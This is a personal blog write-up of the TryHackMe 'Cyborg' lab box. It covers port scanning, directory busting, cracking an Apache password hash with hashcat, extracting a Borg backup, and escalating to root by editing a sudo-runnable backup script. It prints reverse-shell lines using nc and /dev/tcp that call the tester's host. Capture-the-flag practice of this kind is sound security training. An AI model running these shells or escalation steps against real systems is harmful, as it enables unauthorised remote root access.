Ted's cave

Crawlthroughs and projects

View on GitHub
23 December 2024

Cyborg

by

ted

This is a writeup documenting my process going through the Cyborg box on TryHackMe. As always we are given an ip address with the goal of submitting the user flag and the root flag. There were a few rabbit holes I dove into in this one but in the end we achieved control.

Enumeration

Given an ip address of 10.10.22.231, let’s perform an nmap scan to find open ports.

Nmap #Nmap

Port 80 #http

Looks like http is open on port 80 so let’s give our target a visit.

Going to the Admins page we see,

From the main /admin page we can click on Archive which will give us a .tar file download.

Upon trying to open the file with mousepad we see this,

Port 22 #ssh

While we mull over our findings let’s try and glean some info from ssh on port 22.

–> nmap -vv -A -p 22 10.10.22.231

Scrappy enumeration

Now that we have done some basic enumeration, let’s follow up on that .tar file we downloaded.

The problem we are running into is that both .tar and .tar.gz endings seem to not be the right formatting.

SSH Exploitation #Metasploit

The Exploit-DB exploits are in the directory /usr/share/exploitdb/exploits. We copy the exploit into our folder of choice.

Directory busting #gobuster

We’ve kind of hit a roadblock with SSH and we shouldn’t assume that /admin is the only directory on port 80. Let’s do a gobuster scan and try to tackle the webpage on port 80

We can possibly use #hashcat to crack the hash, we have a lot of other information that we have gathered as well like the sha384 and 512 hashes in the source code but I’m not sure how to use it.

Doing some research on md5(APR) it looks to be an md5 hash specifically for Apache web servers,

Entering hashcat -h | grep apr we see,

Running, hashcat -m 1600 justthepasswd.txt /usr/share/wordlists/rockyou.txt we are told, ”* Device #1: Not enough allocatable device memory for this attack.” which is unfortunate. Even the -O flag which should optimize this process does not help us.

Doubling our VM’s allocated memory and running the same command we crack the hash in about 10 seconds,

Borg Backup #borg

Somewhere somehow we managed to extract the archive.tar file,

Visiting the documentation page we are told that Borg is a backup program with the purpose of compressing or encrypting files. We will need to install the borgbackup package to use it in the command line.

After some trouble with the install (needed to update the apt-get command) we acquire borg,

Going back to the borg documentation it seems the option we need is borg info,

What about borg extract? I thought the files were already extracted from the archive but then why would would the “extracted” files lead us to the borg documentation?

OpenSSH login #ssh

Let’s attempt to login with the credentials we found,

Privilege Escalation #privesc

We have user access to ssh so let’s poke around our new domain and try and find some clues. Let’s start with the ssh config file?

Reading up on ssh privilege escalation we learn that there is two ways to exploit SSH keys, 1) Reading private keys 2) Writing to public keys

The 1st option allows you to authenticate to the server as the root user and the 2nd option allows you to create your own key, bypassing the security check.

Upon finishing my final exams for the semester I realize we should do enumeration for the privilege escalation phase as well.

Starting of with the id command,

The sudo-l command catches my eye,

#!/bin/bash

sudo find / -name "*.mp3" | sudo tee /etc/mp3backups/backed_up_files.txt


input="/etc/mp3backups/backed_up_files.txt"
#while IFS= read -r line
#do
  #a="/etc/mp3backups/backed_up_files.txt"
#  b=$(basename $input)
  #echo
#  echo "$line"
#done < "$input"

while getopts c: flag
do
        case "${flag}" in 
                c) command=${OPTARG};;
        esac
done



backup_files="/home/alex/Music/song1.mp3 /home/alex/Music/song2.mp3 /home/alex/Music/song3.mp3 /home/alex/Music/song4.mp3 /home/alex/Music/song5.mp3 /home/alex/Music/song6.mp3 /home/alex/Music/song7.mp3 /home/alex/Music/song8.mp3 /home/alex/Music/song9.mp3 /home/alex/Music/song10.mp3 /home/alex/Music/song11.mp3 /home/alex/Music/song12.mp3"

# Where to backup to.
dest="/etc/mp3backups/"

# Create archive filename.
hostname=$(hostname -s)
archive_file="$hostname-scheduled.tgz"

# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"

echo

# Backup the files using tar.
tar czf $dest/$archive_file $backup_files

# Print end status message.
echo
echo "Backup finished"

cmd=$($command)
echo $cmd

However the part that matters to us is not the content but the fact that this script can be run as the root user and we have access to it. This will hopefully allow us to create a reverse shell.

Unfortunately we are not allowed to write to the script but since we should be the owners of the script lets try giving ourselves the permissions with chmod +w etc/mp3backups/backup.sh,

Ok script changing editing works! Let’s setup a shell now,

#!/bin/bash

nc 10.0.0.81 5555 -e /bin/bash

Running the script with ./backup.sh we meet this error,

nc: invalid option -- 'e'
This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.
usage: nc [-46bCDdhjklnrStUuvZz] [-I length] [-i interval] [-O length]
         [-P proxy_username] [-p source_port] [-q seconds] [-s source]
         [-T toskeyword] [-V rtable] [-w timeout] [-X proxy_protocol]
         [-x proxy_address[:port]] [destination] [port]

Let’s pick up a basic bash shell from revshells.com then,

#!/bin/bash

sh -i >& /dev/tcp/10.9.0.81/5555 0>&1

We have a connection!

The problem we are having is that the alex user is the one executing the script which means the reverse shell will be with his privileges. For root access we need root to run the script.

The only way I can think of to find a script running by root is through a cronjob. Let’s examine the scheduled cronjobs then,

Wait hold up, the whole purpose of enumerating with sudo -l was to find files we can execute as root but when executing the backup.sh file we never used sudo! Let’s use that bash reverse shell, set up our listener and run sudo ./backup.sh this time.

Let’s capture our flag,

tags: